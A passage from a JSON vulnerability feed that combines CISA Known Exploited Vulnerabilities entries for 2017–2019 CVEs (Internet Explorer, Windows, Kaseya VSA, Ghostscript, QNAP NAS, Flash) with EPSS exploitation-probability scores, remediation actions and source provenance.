instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99693,"percentile":0.9995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0147","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0147 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0149","cveId":"CVE-2017-0149","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause a denial-of-service (DoS) via a crafted website.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.29178,"percentile":0.98156,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0149","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0149 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0210","cveId":"CVE-2017-0210","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Internet Explorer does not properly enforce cross-domain policies, which could allow an attacker to access information.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22334,"percentile":0.9767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0210","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0210 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-18362","cveId":"CVE-2017-18362","aliases":[],"kind":"vulnerability","title":"Kaseya VSA SQL Injection Vulnerability","summary":"ConnectWise ManagedITSync integration for Kaseya VSA is vulnerable to unauthenticated remote commands that allow full direct access to the Kaseya VSA database.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Kaseya","product":"Virtual System/Server Administrator (VSA)","stacks":["Kaseya","Virtual System/Server Administrator (VSA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.8682,"percentile":0.99741,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-18362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-18362","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-18362 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-18362&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-18362, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-8291","cveId":"CVE-2017-8291","aliases":[],"kind":"vulnerability","title":"Artifex Ghostscript Type Confusion Vulnerability","summary":"Artifex Ghostscript allows -dSAFER bypass and remote command execution via .rsdparams type confusion with a \"/OutputFile.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Artifex","product":"Ghostscript","stacks":["Artifex","Ghostscript"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96968,"percentile":0.99889,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-8291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-8291","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-8291 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-8291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-8291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-8543","cveId":"CVE-2017-8543","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Search Remote Code Execution Vulnerability","summary":"Microsoft Windows allows an attacker to take control of the affected system when Windows Search fails to handle objects in memory.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74388,"percentile":0.99487,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-8543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-8543","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-8543 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-8543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-8543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19943","cveId":"CVE-2018-19943","aliases":[],"kind":"vulnerability","title":"QNAP NAS File Station Cross-Site Scripting Vulnerability","summary":"A cross-site scripting vulnerability affecting QNAP NAS File Station could allow remote attackers to inject malicious code.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Network Attached Storage (NAS)","stacks":["QNAP","Network Attached Storage (NAS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22682,"percentile":0.97706,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19943","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19943 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19949","cveId":"CVE-2018-19949","aliases":[],"kind":"vulnerability","title":"QNAP NAS File Station Command Injection Vulnerability","summary":"A command injection vulnerability affecting QNAP NAS File Station could allow remote attackers to run commands.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Network Attached Storage (NAS)","stacks":["QNAP","Network Attached Storage (NAS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3016,"percentile":0.98204,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19949","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19949 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19953","cveId":"CVE-2018-19953","aliases":[],"kind":"vulnerability","title":"QNAP NAS File Station Cross-Site Scripting Vulnerability","summary":"A cross-site scripting vulnerability affecting QNAP NAS File Station could allow remote attackers to inject malicious code.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Network Attached Storage (NAS)","stacks":["QNAP","Network Attached Storage (NAS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30527,"percentile":0.98225,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19953","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19953 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8611","cveId":"CVE-2018-8611","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory.","detail":"CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-24","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-24","dueAt":"2022-06-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04196,"percentile":0.90877,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8611&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8611","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8611 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8611&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8611, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-5002","cveId":"CVE-2018-5002","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Stack-based Buffer Overflow Vulnerability","summary":"Adobe Flash Player have a stack-based buffer overflow vulnerability that could lead to remote code execution.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.25059,"percentile":0.97908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-5002&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-5002","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-5002 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-5002&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-5002, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8589","cveId":"CVE-2018-8589","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows improperly handles calls to Win32k.sys. An attacker who successfully exploited this vulnerability could run remote code in the security context of the local system.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03023,"percentile":0.87359,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8589&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8589","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8589 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8589&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8589, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0676","cveId":"CVE-2019-0676","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Information Disclosure Vulnerability","summary":"An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited this vulnerability could test for the presence of files on disk.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0811,"percentile":0.94789,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0676&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0676","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0676 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0676&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0676, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0703","cveId":"CVE-2019-0703","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SMB Information Disclosure Vulnerability","summary":"An information disclosure vulnerability exists in the way that the Windows SMB Server handles certain requests, which could lead to information disclosure from the server.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09385,"percentile":0.95366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0703&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0703","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0703 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0703&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0703, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0880","cveId":"CVE-2019-0880","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"A local elevation of privilege vulnerability exists in how splwow64.exe handles certain calls. An attacker who successfully exploited the vulnerability could elevate privileges on an affected system from low-integrity to medium-integrity.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02308,"percentile":0.83244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0880&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0880","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0880 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0880&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0880, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1130","cveId":"CVE-2019-1130","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Deployment Service Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows AppX Deployment Service (AppXSVC) improperly handles hard links.","detail":"CISA added this entry on 2022-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft 